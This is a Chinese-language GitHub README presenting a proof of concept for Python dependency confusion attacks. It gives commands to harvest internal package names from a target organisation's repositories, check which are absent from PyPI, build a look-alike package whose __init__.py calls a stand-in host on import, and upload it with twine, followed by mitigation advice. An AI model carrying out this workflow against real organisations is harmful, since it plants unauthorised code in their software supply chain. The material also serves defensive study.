techghoshal/Python_dependency_confusion_attacks

GitHub: techghoshal/Python_dependency_confusion_attacks

Python依赖混淆攻击的概念验证项目,演示如何利用pip包解析优先级机制实现供应链RCE。

Stars: 12 | Forks: 2

Python Dependency Confusion Attacks POC

Twitter Follow

# 简介 依赖混淆是一种供应链漏洞,当包管理器无意中从公共仓库安装了恶意包,而不是预期的私有包时,就会发生这种情况。这个问题在 Python 的包管理系统中尤为普遍,如果配置不当,像 `pip` 这样的工具可能会优先选择公共包而不是私有包。利用这种行为可能导致严重的后果,包括在目标系统上执行远程代码 (RCE)。 # 攻击概述 依赖混淆攻击的典型工作流程包括以下步骤: 1. **识别目标依赖项**:攻击者在公共仓库中搜索 `requirements.txt` 文件,以识别组织使用的内部包名称。 2. 验证包的可用性:对于每个识别出的包,攻击者会检查公共 Python 包索引 [(PyPI)](https://pypi.org/) 上是否存在该包。这可以通过 `httpx` 等工具自动化完成,通过检测 404 响应来表明该包在 PyPI 上不存在。 3. **发布恶意包**:攻击者在 PyPI 上创建并发布与内部包同名的恶意包。这些恶意包可以被设计为在安装时执行任意代码。 4. **触发安装**:当目标组织在没有严格索引配置的情况下安装依赖项时,`pip` 可能会从 PyPI 获取恶意包,从而导致在该组织的环境中执行代码。 # 概念验证 该仓库提供了一个演示此攻击向量的 PoC: - **克隆目标仓库**:利用 [ghorg](https://github.com/gabrie30/ghorg) 等工具克隆目标组织的所有仓库。 ``` ghorg clone -t ``` - **提取依赖项**:搜索 `requirements.txt` 文件并提取包名称。 ``` find . -type f -name requirements.txt | \ xargs -n1 -I{} cat {} | \ sed 's/[><=~!].*//' | \ tr -d '[:space:]' | \ sort -u | \ xargs -I{} sh -c 'curl -s -o /dev/null -w "%{http_code} https://pypi.org/project/{}/\n" https://pypi.org/project/{}/' | \ grep "^404" ``` - **创建恶意包**:对于每个易受攻击的包: ``` $ mkdir $ cd $ mkdir $ cd $ touch __init__.py ``` - **将恶意代码插入** `__init__.py`: ``` import requests # 向监控 URL 发送请求 requests.get("https://example.com/notify") ``` - 保存此文件并从目录中返回 `cd..` - **创建**具有适当元数据的 `setup.py`: **注意**:包的版本必须与易受攻击包的版本一致 ``` from setuptools import setup, find_packages setup( name="", version="0.0.1", author="Attacker Name", author_email="attacker@example.com", description="Malicious package for dependency confusion attack", packages=find_packages(), install_requires=['requests'], ) ``` - 构建包并将其上传到 PyPI: ``` $ python3 setup.py sdist bdist_wheel $ pip3 install twine $ twine upload dist/* ``` # 缓解策略 为了防止依赖混淆攻击: - **配置包索引**:在 `pip` 中使用 `--index-url` 和 `--extra-index-url` 选项,将私有仓库优先于公共仓库。 - **实施包范围**:采用 `pip` 即将推出的功能(根据 [PEP 708](https://peps.python.org/pep-0708/))为特定包定义可信来源。 - **监控和审计依赖项**:定期扫描依赖项中的异常情况,并确保所有内部包也存在于私有仓库中,以防止未经授权的公共版本。 - **使用依赖管理工具**:利用 [Thoth](https://developers.redhat.com/articles/2021/12/21/prevent-python-dependency-confusion-attacks-thoth) 等工具来安全地管理和解析依赖项。 # 结论 依赖混淆对软件供应链构成了重大风险。通过了解攻击向量并实施稳健的依赖管理实践,组织可以减轻威胁并保护其开发环境。 ### 联系我 如果您有任何疑问,可以随时在 [Linkedin](https://www.linkedin.com/in/anindyaghoshal/) 上联系我
标签:Cutter, Maven, pip, POC, PyPI, Python, RCE, TechGhoshal, 供应链攻击, 依赖混淆, 包管理器, 恶意软件, 攻击演示, 无后门, 漏洞验证, 统一API, 编程工具, 网络安全, 软件开发工具包, 远程代码执行, 逆向工具, 隐私保护